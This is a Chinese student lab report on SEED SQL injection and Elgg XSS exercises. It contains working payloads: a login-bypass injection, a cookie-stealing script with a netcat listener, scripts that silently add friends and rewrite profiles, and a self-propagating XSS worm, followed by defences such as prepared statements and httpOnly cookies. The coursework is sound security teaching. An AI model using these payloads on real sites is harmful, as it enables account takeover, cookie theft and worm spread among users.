1. 程式人生 > 其它 >20212920 許邵 2021-2022-2 《網路攻防實踐》實踐十報告

20212920 許邵 2021-2022-2 《網路攻防實踐》實踐十報告

20212920 2021-2022-2 《網路攻防實踐》實踐十報告

1.實踐內容

1.1 實踐任務要求

一、SEED SQL注入攻擊與防禦實驗
我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:

  • 熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
  • 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
  • 對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
  • SQL對抗:修復上述SQL注入攻擊漏洞。

二、SEED XSS跨站指令碼攻擊實驗(Elgg)
為了演示攻擊者可以利用XSS漏洞做什麼,SEED Lab在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,我們需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。

  • 釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
  • 彈窗顯示cookie資訊:將cookie資訊顯示。
  • 竊取受害者的cookies:將cookie傳送給攻擊者。
  • 成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
  • 修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
  • 編寫XSS蠕蟲。
  • 對抗XSS攻擊。

1.2 知識拓展

1.2.1 SQL注入的原理

SQL注入攻擊是通過操作輸入來修改SQL語句,用以達到執行程式碼對WEB伺服器進行攻擊的方法。簡單的說就是在post/getweb表單、輸入域名或頁面請求的查詢字串中插入SQL命令,最終使web伺服器執行惡意命令的過程。可以通過一個例子簡單說明SQL注入攻擊。假設某網站頁面顯示時URL為http://www.example.com?test=123,此時URL實際向伺服器傳遞了值為123的變數test,這表明當前頁面是對資料庫進行動態查詢的結果。由此,我們可以在URL中插入惡意的SQL語句並進行執行。另外,在網站開發過程中,開發人員使用動態字串構造SQL語句,用來建立所需的應用,這種情況下SQL語句在程式的執行過程中被動態的構造使用,可以根據不同的條件產生不同的SQL語句,比如需要根據不同的要求來查詢資料庫中的欄位。這樣的開發過程其實為SQL注入攻擊留下了很多的可乘之機。

1.2.2 SQL注入帶來的威脅

  • 猜解後臺資料庫,這是利用最多的方式,盜取網站的敏感資訊。
  • 繞過認證,列如繞過驗證登入網站後臺。
  • 注入可以藉助資料庫的儲存過程進行提權等操作

1.2.3 XSS跨站指令碼攻擊簡介

跨站指令碼攻擊(XSS),是最普遍的Web應用安全漏洞。 這類漏洞能夠使得攻擊者嵌入惡意指令碼程式碼到正常使用者會訪問到的頁面中,當正常使用者訪問該頁面時,則可導致嵌入的惡意指令碼程式碼的執行,從而達到惡意攻擊使用者的目的。 攻擊者可以使使用者在瀏覽器中執行其預定義的惡意指令碼,其導致的危害可想而知,如劫持使用者會話,插入惡意內容、重定向使用者、使用惡意軟體劫持使用者瀏覽器、繁殖 XSS蠕蟲 ,甚至破壞網站、修改路由器配置資訊等。 XSS漏洞可以追溯到上世紀90年代。 大量的網站曾遭受XSS漏洞攻擊或被發現此類漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和 百度貼吧 。 研究表明,最近幾年XSS已經超過 緩衝區溢位 成為最流行的攻擊方式,有68%的網站可能遭受此類攻擊。
原理:HTML是一種超文字標記語言,通過將一些字元特殊地對待來區別文字和標記,例如,小於符號(<)被看作是HTML標籤的開始,

之間的字元是頁面的標題等等。當動態頁面中插入的內容含有這些特殊字元(如<)時,使用者瀏覽器會將其誤認為是插入了HTML標籤,當這些HTML標籤引入了一段JavaScript指令碼時,這些指令碼程式就將會在使用者瀏覽器中執行。所以,當這些特殊字元不能被動態頁面檢查或檢查出現失誤時,就將會產生XSS漏洞。

2.實踐過程

2.1 SEED SQL注入攻擊與防禦實驗

2.1.1 mysql環境與基本SQL語句

在SEED Ubuntu 16.04虛擬機器中啟動mysql
命令:mysql -u root -p,密碼:seedubuntu

根據實驗要求,我們要選定Users資料庫中的creditential的表。
使用show databases;命令檢視所有資料庫(命令列的末尾要有分號,以表示一句SQL命令)。

使用Users資料庫,命令:use Users;
檢視Users資料庫中的表,命令:show tables;

可以看到,只有一個表credential。
我們用SQL指令select * from credential;檢視一下這張表的具體內容。

篩選Alice的資訊,命令:select * from cresential where Name='Alice';

2.1.2 對select語句的SQL注入攻擊

在虛擬機器的瀏覽器中輸入www.SEEDLabSQLInjection.com
輸入賬戶名Admin,然後隨便輸入一個密碼,嘗試進行登入。
登入失敗。
進一步對該網站進行分析,可以得出,該網站在進行登入驗證的操作的時候,使用了unsafe_home.php檔案,而這個php檔案正好在本機的一個資料夾下:/var/www/SQLInjection

開啟這個檔案,對這個php檔案中的程式碼進行進一步分析。
這個網站使用SHA1對登入口令進行雜湊運算,然後將雜湊的結果儲存到資料庫中,使用者在登入時,後臺會將使用者輸入的口令進行SHA1運算,驗證其是否與資料庫中的值相等。

繼續往下看,找到後臺進行登入驗證時使用的SQL指令。

select id,name,eid,salary,nirth,ssn,phoneNumber,address,email,nickname,Password 
from credential 
WHERE name='$input_uname' and Password='$hashed_pwd'

我們知道,如果在一個mysql指令中輸入#,那麼#後面的就是對這行指令的註釋了。

select id,name,eid,salary,nirth,ssn,phoneNumber,address,email,nickname,Password 
from credential 
WHERE name='$input_uname' # and Password='$hashed_pwd'

比如,在上面的SQL指令中,由於我們在WHERE name='$input_uname'之後插入了#,那麼查詢登入口令的雜湊值相等的條件就變成了註釋,這也就意味著只需要輸入“使用者名稱+'+空格+#”,就能不用密碼即可登入。

回到登入頁面,將使用者名稱改為Admin' #,不輸入密碼,嘗試進行登入。

成功黑進該網站。

2.1.3 對update語句的SQL注入攻擊

開啟unsafe_edit_backend.php檔案,找到修改資料庫的命令。

類似於上一節的分析,我們只需要在輸入的新的暱稱$input_nickname後加一個“' #”,就能修改所有使用者的暱稱!

2.1.4 SQL對抗——SQL注入漏洞的修復

經過上述的分析,我們可以看出,由於在後臺使用了一行完整的sql指令進行資料庫處理,我們可以藉助sql命令格式的特點,使用“#”符號對本該擁有的篩選條件進行“截斷”,這樣就可以實現未經許可的侵入攻擊,達到非法訪問和篡改資訊的目的。
實際上,實現SQL注入漏洞的修復的方法有很多。常見的修復措施有以下四點:

  • 使用型別安全的引數編碼機制。如:預編譯指令集,這種方法通過封裝好的方法處理輸入的引數,避免因直接使用SQL語句字串而產生的注入漏洞。
  • 對外部的使用者輸入進行完備性檢查。如:正則化過濾、字串過濾等。
  • 將動態SQL語句替換為儲存過程、預編譯SQL或ADO命令物件
  • 加強資料庫伺服器的配置與連線

這裡舉一個例子。我們可以使用繫結引數的方法,對上述SQL語句進行修復:
修改前:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";

修改後:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

這樣,原有的SQL語句需要填寫的地方將以“?”代替,使用bind_param方法,將傳入的字串引數替代字串中的“?”符號,防止了針對SQL字串的截斷。

2.2 SEED XSS跨站指令碼攻擊實驗(Elgg)

2.2.1 顯示警報視窗

在瀏覽器中輸入www.xsslabelgg.com,進入XSS實驗網站。

輸入使用者名稱Alice和口令seedalice,登入Alice賬戶。
按照如下圖所示方式進入Profile頁面。


在Brief Description欄中輸入<script>alert("XSS");</alert>,單擊“save”儲存設定。
在個人簡介介面中顯示了彈窗提示“XSS”。

2.2.2 cookies資訊彈窗顯示

修改剛才的brief description中的資訊為
<script>alert(document.cookie);</script>
即可顯示當前的cookie資訊。

2.2.3 竊取受害者的cookies

為了實現竊取受害者的cookies的攻擊,我們需要構造下面的payload:
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');</script>
在這個payload中,攻擊者會從本機地址的5555埠返回一個圖片,並且會得到一個cookie值。
將這個payload修改到brief description。

為了捕獲到escape方法中返回的變數c的值,我們開啟一個終端,使用命令nc -l 5555 -v
將我們修改的個人資訊儲存,我們從終端中看到了一些資訊:

其中,Get返回的c值就是cookie值。

2.2.4 成為受害者的朋友

我們分析一下新增好友的操作。
先進入一個好友的個人主頁,比如說:Boby:www.xsslabelgg.com/profile/boby
在好友的個人主頁,按下F12,開啟開發者工具,然後切換到Network選項卡。

點選“Add friend”,瀏覽器便捕獲到了一條請求。

點開這個請求,得到請求URL如下:

這個請求URL包含如下資訊:

地址:http://www.xsslabelgg.com/action/friends/add
好友ID(friend):45
時間戳:1652894432
token:Nbhjssw5yrGe-cnFAAYYSg

為了新增其他好友,構造下面的payload:

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

將這個Payload填寫在Alice的使用者資料的About me中(要先點選Edit Html切換到HTML編輯模式,也就是那個沒有編輯工具欄的模式),儲存。

然後用Boby的賬號模擬受害者的操作(密碼是:seedboby)。
這是在點進Alice主頁之前的Boby。

Boby在點進去Alice的主頁後,就自動新增Alice為好友了。

使用其他賬號(如Samy)也發現了這一現象。

2.2.5 修改受害者的資訊

現在,我們分析一下修改個人資訊時,會向伺服器傳送什麼樣的請求。
進入Alice的修改介面,開啟開發人員工具(按F12),將上述實驗的請求進行分析。
我們可以看到,請求的連結地址為:http://www.xsslabelgg.com/action/profile/edit

還可以看到token(__elgg_token)和時間戳(__elgg_ts)等資訊。

構造下面的payload:

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>This had been changed by XSS attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

將這個payload程式碼拷貝到個人資訊的About me中(要切換到Edit HTML模式),點選“儲存”。

登入Boby的個人賬戶,然後點進Alice的個人主頁,然後再返回,發現Boby的個人簡介變成了“This had been changed by XSS attack.”

2.2.6 編寫XSS蠕蟲

蠕蟲程式碼如下:

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

這個程式碼通過將XSS的payload自動複製到受害者的個人資料中實現對受害者的感染。如果有其他使用者訪問了受害者的個人主頁,那麼他也會被感染。受到感染後,受害者的個人簡介會變為“Hacked by XSS WORM !!!”。
將這個蠕蟲程式碼設為Alice的About me中的資訊,儲存。

如果好友Boby訪問了Alice的主頁,就會感染xss蠕蟲。

如果另一個使用者(如Samy),訪問了Boby的主頁,那麼他也會受到感染。

其他使用者,如果訪問了這三個感染者的主頁,也會無一例外地受到感染。這體現了計算機病毒的可傳播性。

2.2.7 XSS攻擊的對抗措施

  1. 對輸入內容的特定字元進行編碼,例如表示 html標記的 < > 等符號。
  2. 對重要的 cookie設定 httpOnly, 防止客戶端通過document.cookie讀取 cookie,此 HTTP頭由服務端設定。
  3. 將不可信的值輸出 URL引數之前,進行 URLEncode操作,而對於從 URL引數中獲取值一定要進行格式檢測(比如你需要的時URL,就判讀是否滿足URL格式)。
  4. 不要使用 Eval來解析並執行不確定的資料或程式碼,對於 JSON解析請使用 JSON.parse() 方法。
  5. 後端介面也應該要做到關鍵字元過濾的問題。

3.學習中遇到的問題及解決

  • 問題1:SEED Ubuntu虛擬機器不支援主機與虛擬機器之間的複製貼上。
  • 問題1解決方案:手抄程式碼,或者將程式碼儲存到一個檔案中,使用VMware的共享資料夾功能傳輸檔案。

4.實踐總結

在本次實踐中,我們親自嘗試了一次XSS攻擊和SQL注入攻擊,發現了常見的輸入框中的漏洞,提醒了我們:在開發Web應用的時候,要對從客戶端傳輸的資料進行檢查和處理,確保資料的安全,防止因一些漏洞而導致網站受到攻擊。

參考資料